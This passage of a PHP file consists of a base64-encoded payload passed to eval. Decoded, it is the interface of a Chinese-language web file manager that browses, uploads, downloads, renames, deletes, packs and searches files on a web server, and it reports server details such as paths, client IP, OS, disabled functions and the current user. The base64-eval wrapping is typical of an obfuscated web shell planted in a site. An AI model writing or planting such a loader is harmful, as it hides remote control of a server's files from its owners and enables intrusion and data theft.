kIEg6aTpzJywgJG10aW1lKSA6ICctJykgLiAnPC90ZD4nOwogICAgICAgICAgICBlY2hvICc8L3RyPic7CiAgICAgICAgfQogICAgICAgIGZvcmVhY2ggKCRmaWxlcyBhcyAkaXQpIHsKICAgICAgICAgICAgJHJlbCA9ICgkY3VyUmVsID09PSAnLicgPyAkaXQgOiAkY3VyUmVsIC4gJy8nIC4gJGl0KTsKICAgICAgICAgICAgJGZwID0gJGN1ckZ1bGwgLiBESVJFQ1RPUllfU0VQQVJBVE9SIC4gJGl0OwogICAgICAgICAgICAkbXRpbWUgPSBAZmlsZW10aW1lKCRmcCk7CiAgICAgICAgICAgICRyaWQgPSAncicgLiAkcm93Kys7CiAgICAgICAgICAgIGVjaG8gJzx0cj4nOwogICAgICAgICAgICBlY2hvICc8dGQgY2xhc3M9ImZuYW1lIj4nOwogICAgICAgICAgICBlY2hvICc8aW5wdXQgY2xhc3M9ImNiIiB0eXBlPSJjaGVja2JveCIgbmFtZT0ic2VsW10iIHZhbHVlPSInIC4gaCgkcmVsKSAuICciIC8+JzsKICAgICAgICAgICAgZWNobyAnPGltZyBjbGFzcz0iaWNvIiBzcmM9IicgLiAkSUNPX0ZJTEUgLiAnIiBhbHQ9ImZpbGUiIC8+JzsKICAgICAgICAgICAgZWNobyBoKCRpdCk7CiAgICAgICAgICAgIGVjaG8gJzxkaXYgY2xhc3M9InJlbmJveCIgaWQ9IicgLiAkcmlkIC4gJyI+PGZvcm0gbWV0aG9kPSJwb3N0IiBhY3Rpb249Ij9tPWZpbGVzJmFtcDtiYXNlPScgLiBoKCRiYXNlKSAuICcmYW1wO3A9JyAuIGgocmF3dXJsZW5jb2RlKCRjdXJSZWwpKSAuICciPic7CiAgICAgICAgICAgIGVjaG8gJzxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImRvX3JlbmFtZSIgdmFsdWU9IjEiIC8+PGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ic3JjIiB2YWx1ZT0iJyAuIGgoJHJlbCkgLiAnIiAvPic7CiAgICAgICAgICAgIGVjaG8gJzxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJuZXduYW1lIiB2YWx1ZT0iJyAuIGgoJGl0KSAuICciIC8+IDxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSLnoa7lrpoiIC8+PC9mb3JtPjwvZGl2Pic7CiAgICAgICAgICAgIGVjaG8gJzwvdGQ+JzsKICAgICAgICAgICAgZWNobyAnPHRkIGNsYXNzPSJvcHMiPic7CiAgICAgICAgICAgIGVjaG8gJzxhIGhyZWY9ImphdmFzY3JpcHQ6dm9pZCgwKSIgb25jbGljaz0ic2hvd1JlbmFtZShcJycgLiAkcmlkIC4gJ1wnKSI+5pS55ZCNPC9hPic7CiAgICAgICAgICAgIGVjaG8gJzxhIGhyZWY9Ij9tPWZpbGVzJmFtcDtiYXNlPScgLiBoKCRiYXNlKSAuICcmYW1wO3A9JyAuIGgocmF3dXJsZW5jb2RlKCRjdXJSZWwpKSAuICcmYW1wO2RlbD0nIC4gaChyYXd1cmxlbmNvZGUoJHJlbCkpIC4gJyIgb25jbGljaz0icmV0dXJuIGNvbmZpcm0oXCfliKDpmaTor6Xmlofku7bvvJ9cJykiPuWIoOmZpDwvYT4nOwogICAgICAgICAgICBlY2hvICc8YSBocmVmPSI/bT1maWxlcyZhbXA7YmFzZT0nIC4gaCgkYmFzZSkgLiAnJmFtcDtwPScgLiBoKHJhd3VybGVuY29kZSgkY3VyUmVsKSkgLiAnJmFtcDtwYWNrPScgLiBoKHJhd3VybGVuY29kZSgkcmVsKSkgLiAnIj7miZPljIU8L2E+JzsKICAgICAgICAgICAgZWNobyAnIDxhIGhyZWY9Ij9tPWZpbGVzJmFtcDtiYXNlPScgLiBoKCRiYXNlKSAuICcmYW1wO2Rvd249JyAuIGgocmF3dXJsZW5jb2RlKCRyZWwpKSAuICciPuS4i+i9vTwvYT4nOwogICAgICAgICAgICBlY2hvICc8L3RkPic7CiAgICAgICAgICAgIGVjaG8gJzx0ZCBjbGFzcz0icGVybSI+JyAuIGgoZmlsZV9wZXJtKCRmcCkpIC4gJzwvdGQ+JzsKICAgICAgICAgICAgZWNobyAnPHRkIGNsYXNzPSJvd25lciI+JyAuIGgoZmlsZV9vd25lcl9zdHIoJGZwKSkgLiAnPC90ZD4nOwogICAgICAgICAgICBlY2hvICc8dGQgY2xhc3M9Im10aW1lIj4nIC4gaCgkbXRpbWUgPyBkYXRlKCdZLW0tZCBIOmk6cycsICRtdGltZSkgOiAnLScpIC4gJzwvdGQ+JzsKICAgICAgICAgICAgZWNobyAnPC90cj4nOwogICAgICAgIH0KICAgICAgICBpZiAoISRkaXJzICYmICEkZmlsZXMpIHsKICAgICAgICAgICAgZWNobyAnPHRyPjx0ZCBjb2xzcGFuPSI1IiBjbGFzcz0iYW0iPuebruW9leS4uuepujwvdGQ+PC90cj4nOwogICAgICAgIH0KICAgICAgICA/PgogICAgICA8L3RhYmxlPgogICAgPC9kaXY+Cjw/cGhwIH0gZWxzZWlmICgkbSA9PT0gJ3VwbG9hZCcpIHsgPz4KICAgIDxkaXYgY2xhc3M9ImFjdGFsbCI+5LiK5Lyg5paH5Lu2IOKGkiDlvZPliY3ln7rlh4bvvJo8P3BocCBlY2hvICRiYXNlPT09J3NjcmlwdCc/J+acrOeoi+W6j+ebruW9lSc6J+e9keermeagueebruW9lSc7ID8+PC9kaXY+CiAgICA8ZGl2IGNsYXNzPSJib3giPgogICAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiIGFjdGlvbj0iP209dXBsb2FkJmFtcDtiYXNlPTw/cGhwIGVjaG8gaCgkYmFzZSk7ID8+Ij4KICAgICAgICA8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJkb191cGxvYWQiIHZhbHVlPSIxIiAvPgogICAgICAgIDx0YWJsZSBjbGFzcz0iaW5mbyIgd2lkdGg9IjEwMCUiPgogICAgICAgICAgPHRyPjx0ZCBjbGFzcz0iayI+6YCJ5oup5paH5Lu2PC90ZD48dGQgY2xhc3M9InVwbGluZSI+CiAgICAgICAgICAgIDxzcGFuIGNsYXNzPSJmaWxlYnRuIj48c3Bhbj7pgInmi6nmlofku7Y8L3NwYW4+PGlucHV0IHR5cGU9ImZpbGUiIG5hbWU9ImZpbGUiIG9uY2hhbmdlPSJwaWNrRmlsZSh0aGlzLCdmbnNob3cyJykiIC8+PC9zcGFuPgogICAgICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgaWQ9ImZuc2hvdzIiIGNsYXNzPSJmbnNob3ciIHJlYWRvbmx5PSJyZWFkb25seSIgdmFsdWU9IiIgcGxhY2Vob2xkZXI9IuacqumAieaLqeaWh+S7tiIgLz4KICAgICAgICAgIDwvdGQ+PC90cj4KICAgICAgICAgIDx0cj48dGQgY2xhc3M9ImsiPuS/neWtmOebruW9lTwvdGQ+PHRkPgogICAgICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0idG9kaXIiIHN0eWxlPSJ3aWR0aDo3MCUiIHZhbHVlPSI8P3BocCBlY2hvIGgoJGN1clJlbCA9PT0gJy4nID8gJycgOiAkY3VyUmVsKTsgPz4iIC8+CiAgICAgICAgICAgIDxkaXYgY2xhc3M9ImFtIj7nm7jlr7nlvZPliY3moLnnm67lvZXnmoTot6/lvoTvvIznlZnnqbo95qC555uu5b2V44CC5Y2V5paH5Lu25pyA5aSnIDw/cGhwIGVjaG8gaChmbXRfc2l6ZSgkTUFYX1VQTE9BRCkpOyA/PjwvZGl2PgogICAgICAgICAgPC90ZD48L3RyPgogICAgICAgICAgPHRyPjx0ZCBjbGFzcz0iayI+Jm5ic3A7PC90ZD48dGQ+PGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IuW8gOWni+S4iuS8oCIgLz48L3RkPjwvdHI+CiAgICAgICAgPC90YWJsZT4KICAgICAgPC9mb3JtPgogICAgPC9kaXY+Cjw/cGhwIH0gZWxzZWlmICgkbSA9PT0gJ2Rvd25sb2FkJykgeyA/PgogICAgPGRpdiBjbGFzcz0iYWN0YWxsIj7mlofku7bkuIvovb0g4oaSIOW9k+WJjeWfuuWHhu+8mjw/cGhwIGVjaG8gJGJhc2U9PT0nc2NyaXB0Jz8n5pys56iL5bqP55uu5b2VJzon572R56uZ5qC555uu5b2VJzsgPz48L2Rpdj4KICAgIDxkaXYgY2xhc3M9ImJveCI+CiAgICAgIDxmb3JtIG1ldGhvZD0icG9zdCIgYWN0aW9uPSI/bT1kb3dubG9hZCZhbXA7YmFzZT08P3BocCBlY2hvIGgoJGJhc2UpOyA/PiI+CiAgICAgICAgPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iZG9fZG93bmxvYWQiIHZhbHVlPSIxIiAvPgogICAgICAgIDx0YWJsZSBjbGFzcz0iaW5mbyIgd2lkdGg9IjEwMCUiPgogICAgICAgICAgPHRyPjx0ZCBjbGFzcz0iayI+5paH5Lu26Lev5b6EPC90ZD48dGQ+CiAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJkcGF0aCIgc3R5bGU9IndpZHRoOjcwJSIgcGxhY2Vob2xkZXI9IuS+i+WmgiBjb25mL2NvbmZpZy5waHAg5oiWIGltYWdlcy9hLmpwZyIgLz4KICAgICAgICAgICAgPGRpdiBjbGFzcz0iYW0iPuWhq+WGmeebuOWvueOAjOW9k+WJjeagueebruW9leOAjeeahOi3r+W+hO+8jOS4jeimgeeUqCAuLjwvZGl2PgogICAgICAgICAgPC90ZD48L3RyPgogICAgICAgICAgPHRyPjx0ZCBjbGFzcz0iayI+Jm5ic3A7PC90ZD48dGQ+PGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IuS4i+i9vSIgLz48L3RkPjwvdHI+CiAgICAgICAgPC90YWJsZT4KICAgICAgPC9mb3JtPgogICAgICA8cCBjbGFzcz0iYW0iPuS5n+WPr+WcqOOAjOe9keermeagueebruW9lSAvIOacrOeoi+W6j+ebruW9leOAjeaWh+S7tuWIl+ihqOmHjOeCueOAjOS4i+i9veOAjeOAgjwvcD4KICAgIDwvZGl2Pgo8P3BocCB9IGVsc2VpZiAoJG0gPT09ICdzZWFyY2gnKSB7CiAgICBpZiAoISRzZWFyY2hEaWQpIHsKICAgICAgICAkc2VhcmNoUGF0aFJlbCA9ICRjdXJSZWw7CiAgICB9CiAgICAkcGF0aFNob3cgPSAoJHNlYXJjaFBhdGhSZWwgPT09ICcuJyB8fCAkc2VhcmNoUGF0aFJlbCA9PT0gJycpID8gJycgOiAkc2VhcmNoUGF0aFJlbDsKICAgICRkaXJMaXN0ID0gbGlzdF9kaXJzX3JlbCgkUk9PVCwgNSwgNDAwKTsKPz4KICAgIDxkaXYgY2xhc3M9ImFjdGFsbCI+5om56YeP5pCc57Si5paH5Lu2IOKGkiDlvZPliY3ln7rlh4bvvJo8P3BocCBlY2hvICRiYXNlPT09J3NjcmlwdCc/J+acrOeoi+W6j+ebruW9lSc6J+e9keermeagueebruW9lSc7ID8+PC9kaXY+CiAgICA8ZGl2IGNsYXNzPSJib3giPgogICAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGFjdGlvbj0iP209c2VhcmNoJmFtcDtiYXNlPTw/cGhwIGVjaG8gaCgkYmFzZSk7ID8+Ij4KICAgICAgICA8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJkb19zZWFyY2giIHZhbHVlPSIxIiAvPgogICAgICAgIDx0YWJsZSBjbGFzcz0iaW5mbyIgd2lkdGg9IjEwMCUiPgogICAgICAgICAgPHRyPjx0ZCBjbGFzcz0iayI+6Lev5b6E5ZCNPC90ZD48dGQ+CiAgICAgICAgICAgIDxkaXYgY2xhc3M9ImRpcmRyb3AiIGlkPSJkaXJkcm9wIj4KICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJkaXJiYXIiPgogICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9InRleHQiIGlkPSJwYXRoaW5wIiBuYW1lPSJwYXRoIiBjbGFzcz0iZGlyc2hvdyIgdmFsdWU9Ijw/cGhwIGVjaG8gaCgkcGF0aFNob3cpOyA/PiIgcGxhY2Vob2xkZXI9IlvmoLnnm67lvZVdIiB0aXRsZT0iPD9waHAgZWNobyBoKCRwYXRoU2hvdyA9PT0gJycgPyAnW+agueebruW9lV0nIDogJHBhdGhTaG93KTsgPz4iIC8+CiAgICAgICAgICAgICAgICA8YnV0dG9uIHR5cGU9ImJ1dHRvbiIgY2xhc3M9ImRpcmFyciIgaWQ9ImRpcmFyciIgb25jbGljaz0idG9nZ2xlRGlyRHJvcChldmVudCkiIHRpdGxlPSLlsZXlvIDnm67lvZUiPuKWvDwvYnV0dG9uPgogICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImRpcmJveCIgaWQ9ImRpcmJveCI+CiAgICAgICAgICAgICAgICA8dWwgY2xhc3M9ImRpcnRyZWUiPgogICAgICAgICAgICAgICAgICA8bGkgY2xhc3M9ImRpcm5vZGU8P3BocCBlY2hvICRwYXRoU2hvdz09PScnPycgb24nOicnOyA/PiI+CiAgICAgICAgICAgICAgICAgICAgPHNwYW4gY2xhc3M9ImRpcnRvZyBlbXB0eSI+wrc8L3NwYW4+CiAgICAgICAgICAgICAgICAgICAgPGEgaHJlZj0iamF2YXNjcmlwdDp2b2lkKDApIiBjbGFzcz0iZGlybGFiIiB0aXRsZT0iW+agueebruW9lV0iIG9uY2xpY2s9InBpY2tEaXIoJycsIHRoaXMpIj4KICAgICAgICAgICAgICAgICAgICAgIDxpbWcgY2xhc3M9ImljbyIgc3JjPSI8P3BocCBlY2hvICRJQ09fRk9MREVSOyA/PiIgYWx0PSIiIC8+W+agueebruW9lV0KICAgICAgICAgICAgICAgICAgICA8L2E+CiAgICAgICAgICAgICAgICAgIDwvbGk+CiAgICAgICAgICAgICAgICA8L3VsPgogICAgICAgICAgICAgICAgPD9waHAKICAgICAgICAgICAgICAgICRkaXJUcmVlID0gYnVpbGRfZGlyX3RyZWUoJGRpckxpc3QpOwogICAgICAgICAgICAgICAgcmVuZGVyX2Rpcl90cmVlX2h0bWwoJGRpclRyZWUsICRwYXRoU2hvdywgJElDT19GT0xERVIpOwogICAgICAgICAgICAgICAgPz4KICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgIDxkaXYgY2xhc3M9ImFtIj7pu5jorqTkuIDooYzvvJvngrnlj7Pkvqcg4pa8IOWxleW8gOaKmOWPoOebruW9leagkemAieaLqe+8jOS5n+WPr+ebtOaOpeaUuei3r+W+hOaWh+Wtl+OAgueVmeepuj3moLnnm67lvZXjgII8L2Rpdj4KICAgICAgICAgIDwvdGQ+PC90cj4KICAgICAgICAgIDx0cj48dGQgY2xhc3M9ImsiPuWFs+mUruWtlzwvdGQ+PHRkPgogICAgICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iY29kZSIgc3R5bGU9IndpZHRoOjI4MHB4IiB2YWx1ZT0iPD9waHAgZWNobyBoKCRzZWFyY2hLdyk7ID8+IiAvPgogICAgICAgICAgICAmbmJzcDs8bGFiZWw+PGlucHV0IHR5cGU9ImNoZWNrYm94IiBuYW1lPSJwYXNzIiB2YWx1ZT0iMSIgPD9waHAgZWNobyAkc2VhcmNoUmVjdXJzZSA/ICdjaGVja2VkPSJjaGVja2VkIicgOiAnJzsgPz4gLz4g5L2/55So55uu5b2V6YGN5Y6GPC9sYWJlbD4KICAgICAgICAgIDwvdGQ+PC90cj4KICAgICAgICAgIDx0cj48dGQgY2xhc3M9ImsiPuaWueW8jzwvdGQ+PHRkPgogICAgICAgICAgICA8bGFiZWw+PGlucHV0IHR5cGU9InJhZGlvIiBuYW1lPSJyZXR1cm4iIHZhbHVlPSJzY2FuZmlsZSIgPD9waHAgZWNobyAkc2VhcmNoTW9kZSE9PSdzY2FuY29kZSc/J2NoZWNrZWQ9ImNoZWNrZWQiJzonJzsgPz4gLz4g5pCc57Si5paH5Lu25ZCNPC9sYWJlbD4KICAgICAgICAgICAgJm5ic3A7Jm5ic3A7CiAgICAgICAgICAgIDxsYWJlbD48aW5wdXQgdHlwZT0icmFkaW8iIG5hbWU9InJldHVybiIgdmFsdWU9InNjYW5jb2RlIiA8P3BocCBlY2hvICRzZWFyY2hNb2RlPT09J3NjYW5jb2RlJz8nY2hlY2tlZD0iY2hlY2tlZCInOicnOyA/PiAvPiDmkJzntKLljIXlkKvmloflrZc8L2xhYmVsPgogICAgICAgICAgPC90ZD48L3RyPgogICAgICAgICAgPHRyPjx0ZCBjbGFzcz0iayI+Jm5ic3A7PC90ZD48dGQ+PGlucHV0IHR5cGU9InN1Ym1pdCIgY2xhc3M9ImJ0bmJpZyIgdmFsdWU9IuaQnOe0oiIgLz48L3RkPjwvdHI+CiAgICAgICAgPC90YWJsZT4KICAgICAgPC9mb3JtPgo8P3BocCBpZiAoJHNlYXJjaERpZCAmJiAkc2VhcmNoS3cgIT09ICcnKSB7ID8+CiAgICAgIDxkaXYgc3R5bGU9Im1hcmdpbi10b3A6MTJweDsiPuaJvuWIsOaWh+S7tu+8mjw/cGhwIGVjaG8gY291bnQoJHNlYXJjaEhpdHMpOyA/PiDkuKo8L2Rpdj4KICAgICAgPHRhYmxlIGNsYXNzPSJsaXN0IiBzdHlsZT0ibWFyZ2luLXRvcDo2cHg7Ij4KICAgICAgICA8dHI+CiAgICAgICAgICA8dGg+6Lev5b6EPC90aD4KICAgICAgICAgIDx0aCB3aWR0aD0iOTAiPuWkp+WwjzwvdGg+CiAgICAgICAgICA8dGggd2lkdGg9IjE1MCI+5L+u5pS55pe26Ze0PC90aD4KICAgICAgICAgIDx0aCB3aWR0aD0iMTIwIj7mk43kvZw8L3RoPgogICAgICAgIDwvdHI+CiAgICAgICAgPD9waHAKICAgICAgICBpZiAoZW1wdHkoJHNlYXJjaEhpdHMpKSB7CiAgICAgICAgICAgIGVjaG8gJzx0cj48dGQgY29sc3Bhbj0iNCIgY2xhc3M9ImFtIj7ml6DljLnphY3nu5Pmnpw8L3RkPjwvdHI+JzsKICAgICAgICB9IGVsc2UgewogICAgICAgICAgICBmb3JlYWNoICgkc2VhcmNoSGl0cyBhcyAkaGl0KSB7CiAgICAgICAgICAgICAgICAkcmVsID0gJGhpdFsncmVsJ107CiAgICAgICAgICAgICAgICAkcGFyZW50ID0gZGlybmFtZSgkcmVsKTsKICAgICAgICAgICAgICAgIGlmICgkcGFyZW50ID09PSAnLicgfHwgJHBhcmVudCA9PT0gJycpIHsKICAgICAgICAgICAgICAgICAgICAkcGFyZW50ID0gJy4nOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgZWNobyAnPHRyPic7CiAgICAgICAgICAgICAgICBlY2hvICc8dGQgY2xhc3M9ImZuYW1lIj48aW1nIGNsYXNzPSJpY28iIHNyYz0iJyAuICRJQ09fRklMRSAuICciIGFsdD0iIiAvPicgLiBoKCRyZWwpIC4gJzwvdGQ+JzsKICAgICAgICAgICAgICAgIGVjaG8gJzx0ZD4nIC4gaCgkaGl0WydzaXplJ10gIT09IGZhbHNlID8gZm10X3NpemUoJGhpdFsnc2l6ZSddKSA6ICctJykgLiAnPC90ZD4nOwogICAgICAgICAgICAgICAgZWNobyAnPHRkIGNsYXNzPSJtdGltZSI+JyAuIGgoJGhpdFsnbXRpbWUnXSA/IGRhdGUoJ1ktbS1kIEg6aTpzJywgJGhpdFsnbXRpbWUnXSkgOiAnLScpIC4gJzwvdGQ+JzsKICAgICAgICAgICAgICAgIGVjaG8gJzx0ZCBjbGFzcz0ib3BzIj4nOwogICAgICAgICAgICAgICAgZWNobyAnPGEgaHJlZj0iP209ZmlsZXMmYW1wO2Jhc2U9JyAuIGgoJGJhc2UpIC4gJyZhbXA7cD0nIC4gaChyYXd1cmxlbmNvZGUoJHBhcmVudCA9PT0gJy4nID8gJy4nIDogJHBhcmVudCkpIC4gJyI+5omT5byA55uu5b2VPC9hPic7CiAgICAgICAgICAgICAgICBlY2hvICcgPGEgaHJlZj0iP209ZmlsZXMmYW1wO2Jhc2U9JyAuIGgoJGJhc2UpIC4gJyZhbXA7ZG93bj0nIC4gaChyYXd1cmxlbmNvZGUoJHJlbCkpIC4gJyI+5LiL6L29PC9hPic7CiAgICAgICAgICAgICAgICBlY2hvICc8L3RkPjwvdHI+JzsKICAgICAgICAgICAgfQogICAgICAgIH0KICAgICAgICA/PgogICAgICA8L3RhYmxlPgogICAgICA8cCBjbGFzcz0iYW0iPuacgOWkmuaYvuekuiAyMDAg5p2h77yb5YaF5a655pCc57Si5Y2V5paH5Lu25LiN6LaF6L+HIDJNQu+8m+S4uumYsui2heaXtuacgOWkmuaJq+aPj+e6piA4MDAwIOmhueOAgjwvcD4KPD9waHAgfSA/PgogICAgPC9kaXY+Cjw/cGhwIH0gZWxzZWlmICgkbSA9PT0gJ2Jhc2ljJykgeyA/PgogICAgPGRpdiBjbGFzcz0iYWN0YWxsIj7ln7rmnKzkv6Hmga88L2Rpdj4KICAgIDxkaXYgY2xhc3M9ImJveCI+CiAgICAgIDx0YWJsZSBjbGFzcz0iaW5mbyIgd2lkdGg9IjEwMCUiPgogICAgICAgIDx0cj48dGQgY2xhc3M9ImsiPuacrOeoi+W6jzwvdGQ+PHRkPjw/cGhwIGVjaG8gaChfX0ZJTEVfXyk7ID8+PC90ZD48L3RyPgogICAgICAgIDx0cj48dGQgY2xhc3M9ImsiPue9keermeagueebruW9lTwvdGQ+PHRkPjw/cGhwIGVjaG8gaCgkV0VCX1JPT1QpOyA/PjwvdGQ+PC90cj4KICAgICAgICA8dHI+PHRkIGNsYXNzPSJrIj7mnKznqIvluo/nm67lvZU8L3RkPjx0ZD48P3BocCBlY2hvIGgoJFNDUklQVF9ST09UKTsgPz48L3RkPjwvdHI+CiAgICAgICAgPHRyPjx0ZCBjbGFzcz0iayI+5b2T5YmN5Z+f5ZCNPC90ZD48dGQ+PD9waHAgZWNobyBoKGlzc2V0KCRfU0VSVkVSWydIVFRQX0hPU1QnXSkgPyAkX1NFUlZFUlsnSFRUUF9IT1NUJ10gOiAnJyk7ID8+PC90ZD48L3RyPgogICAgICAgIDx0cj48dGQgY2xhc3M9ImsiPuW9k+WJjVVSTDwvdGQ+PHRkPjw/cGhwCiAgICAgICAgICAkaHR0cHMgPSAoIWVtcHR5KCRfU0VSVkVSWydIVFRQUyddKSAmJiAkX1NFUlZFUlsnSFRUUFMnXSAhPT0gJ29mZicpOwogICAgICAgICAgJHNjaGVtZSA9ICRodHRwcyA/ICdodHRwcycgOiAnaHR0cCc7CiAgICAgICAgICAkaG9zdCA9IGlzc2V0KCRfU0VSVkVSWydIVFRQX0hPU1QnXSkgPyAkX1NFUlZFUlsnSFRUUF9IT1NUJ10gOiAnJzsKICAgICAgICAgICR1cmkgPSBpc3NldCgkX1NFUlZFUlsnUkVRVUVTVF9VUkknXSkgPyAkX1NFUlZFUlsnUkVRVUVTVF9VUkknXSA6ICcnOwogICAgICAgICAgZWNobyBoKCRzY2hlbWUgLiAnOi8vJyAuICRob3N0IC4gJHVyaSk7CiAgICAgICAgPz48L3RkPjwvdHI+CiAgICAgICAgPHRyPjx0ZCBjbGFzcz0iayI+5pyN5Yqh5Zmo6L2v5Lu2PC90ZD48dGQ+PD9waHAgZWNobyBoKGlzc2V0KCRfU0VSVkVSWydTRVJWRVJfU09GVFdBUkUnXSkgPyAkX1NFUlZFUlsnU0VSVkVSX1NPRlRXQVJFJ10gOiAnJyk7ID8+PC90ZD48L3RyPgogICAgICAgIDx0cj48dGQgY2xhc3M9ImsiPlBIUOeJiOacrDwvdGQ+PHRkPjw/cGhwIGVjaG8gaChQSFBfVkVSU0lPTik7ID8+PC90ZD48L3RyPgogICAgICAgIDx0cj48dGQgY2xhc3M9ImsiPuWuouaIt+err0lQPC90ZD48dGQ+PD9waHAgZWNobyBoKGlzc2V0KCRfU0VSVkVSWydSRU1PVEVfQUREUiddKSA/ICRfU0VSVkVSWydSRU1PVEVfQUREUiddIDogJycpOyA/PjwvdGQ+PC90cj4KICAgICAgICA8dHI+PHRkIGNsYXNzPSJrIj7ml7bpl7Q8L3RkPjx0ZD48P3BocCBlY2hvIGgoZGF0ZSgnWS1tLWQgSDppOnMnKSk7ID8+PC90ZD48L3RyPgogICAgICA8L3RhYmxlPgogICAgPC9kaXY+Cjw/cGhwIH0gZWxzZWlmICgkbSA9PT0gJ3N5cycpIHsgPz4KICAgIDxkaXYgY2xhc3M9ImFjdGFsbCI+57O757uf5L+h5oGvPC9kaXY+CiAgICA8ZGl2IGNsYXNzPSJib3giPgogICAgICA8dGFibGUgY2xhc3M9ImluZm8iIHdpZHRoPSIxMDAlIj4KICAgICAgICA8dHI+PHRkIGNsYXNzPSJrIj5QSFDniYjmnKw8L3RkPjx0ZD48P3BocCBlY2hvIGgoUEhQX1ZFUlNJT04pOyA/PjwvdGQ+PC90cj4KICAgICAgICA8dHI+PHRkIGNsYXNzPSJrIj7mk43kvZzns7vnu588L3RkPjx0ZD48P3BocCBlY2hvIGgoUEhQX09TKTsgPz48L3RkPjwvdHI+CiAgICAgICAgPHRyPjx0ZCBjbGFzcz0iayI+5pyN5Yqh5ZmoSVA8L3RkPjx0ZD48P3BocCBlY2hvIGgoaXNzZXQoJF9TRVJWRVJbJ1NFUlZFUl9BRERSJ10pID8gJF9TRVJWRVJbJ1NFUlZFUl9BRERSJ10gOiAoaXNzZXQoJF9TRVJWRVJbJ0xPQ0FMX0FERFInXSkgPyAkX1NFUlZFUlsnTE9DQUxfQUREUiddIDogJy0nKSk7ID8+PC90ZD48L3RyPgogICAgICAgIDx0cj48dGQgY2xhc3M9ImsiPuerr+WPozwvdGQ+PHRkPjw/cGhwIGVjaG8gaChpc3NldCgkX1NFUlZFUlsnU0VSVkVSX1BPUlQnXSkgPyAkX1NFUlZFUlsnU0VSVkVSX1BPUlQnXSA6ICcnKTsgPz48L3RkPjwvdHI+CiAgICAgICAgPHRyPjx0ZCBjbGFzcz0iayI+5pyA5aSn5LiK5LygPC90ZD48dGQ+PD9waHAgZWNobyBoKGluaV9nZXQoJ3VwbG9hZF9tYXhfZmlsZXNpemUnKSk7ID8+ICjohJrmnKzpmZDliLYgPD9waHAgZWNobyBoKGZtdF9zaXplKCRNQVhfVVBMT0FEKSk7ID8+KTwvdGQ+PC90cj4KICAgICAgICA8dHI+PHRkIGNsYXNzPSJrIj5QT1NU6ZmQ5Yi2PC90ZD48dGQ+PD9waHAgZWNobyBoKGluaV9nZXQoJ3Bvc3RfbWF4X3NpemUnKSk7ID8+PC90ZD48L3RyPgogICAgICAgIDx0cj48dGQgY2xhc3M9ImsiPuaJp+ihjOaXtumXtDwvdGQ+PHRkPjw/cGhwIGVjaG8gaChpbmlfZ2V0KCdtYXhfZXhlY3V0aW9uX3RpbWUnKSk7ID8+IOenkjwvdGQ+PC90cj4KICAgICAgICA8dHI+PHRkIGNsYXNzPSJrIj7npoHnlKjlh73mlbA8L3RkPjx0ZCBzdHlsZT0id29yZC1icmVhazpicmVhay1hbGw7Ij48P3BocCBlY2hvIGgoaW5pX2dldCgnZGlzYWJsZV9mdW5jdGlvbnMnKSA/IGluaV9nZXQoJ2Rpc2FibGVfZnVuY3Rpb25zJykgOiAnKOaXoCknKTsgPz48L3RkPjwvdHI+CiAgICAgICAgPHRyPjx0ZCBjbGFzcz0iayI+5byA55uY56m66Ze0PC90ZD48dGQ+PD9waHAKICAgICAgICAgICRmcmVlID0gQGRpc2tfZnJlZV9zcGFjZSgkUk9PVCk7CiAgICAgICAgICAkdG90YWwgPSBAZGlza190b3RhbF9zcGFjZSgkUk9PVCk7CiAgICAgICAgICBlY2hvIGgoKCRmcmVlICE9PSBmYWxzZSA/IGZtdF9zaXplKCRmcmVlKSA6ICctJykgLiAnIC8gJyAuICgkdG90YWwgIT09IGZhbHNlID8gZm10X3NpemUoJHRvdGFsKSA6ICctJykpOwogICAgICAgID8+PC90ZD48L3RyPgogICAgICAgIDx0cj48dGQgY2xhc3M9ImsiPuW9k+WJjeeUqOaItzwvdGQ+PHRkPjw/cGhwCiAgICAgICAgICBpZiAoZnVuY3Rpb25fZXhpc3RzKCdnZXRfY3VycmVudF91c2VyJykpIHsKICAgICAgICAgICAgICBlY2hvIGgoQGdldF9jdXJyZW50X3VzZXIoKSk7CiAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgIGVjaG8gJy0nOwogICAgICAgICAgfQogICAgICAgID8+PC90ZD48L3RyPgogICAgICA8L3RhYmxlPgogICAgICA8cCBjbGFzcz0iYW0iIHN0eWxlPSJtYXJnaW4tdG9wOjhweCI+5LuF5bGV56S65Y+q6K+75L+h5oGv77yM5LiN5o+Q5L6b5ZG95Luk5omn6KGMIC8g5pWw5o2u5bqTIC8gZXZhbOOAgjwvcD4KICAgIDwvZGl2Pgo8P3BocCB9ID8+CiAgPC9kaXY+CiAgPGRpdiBjbGFzcz0iY2xlYXIiPjwvZGl2Pgo8L2Rpdj4KPD9waHAgfSA/Pgo8L2JvZHk+CjwvaHRtbD4K'); eval($_b);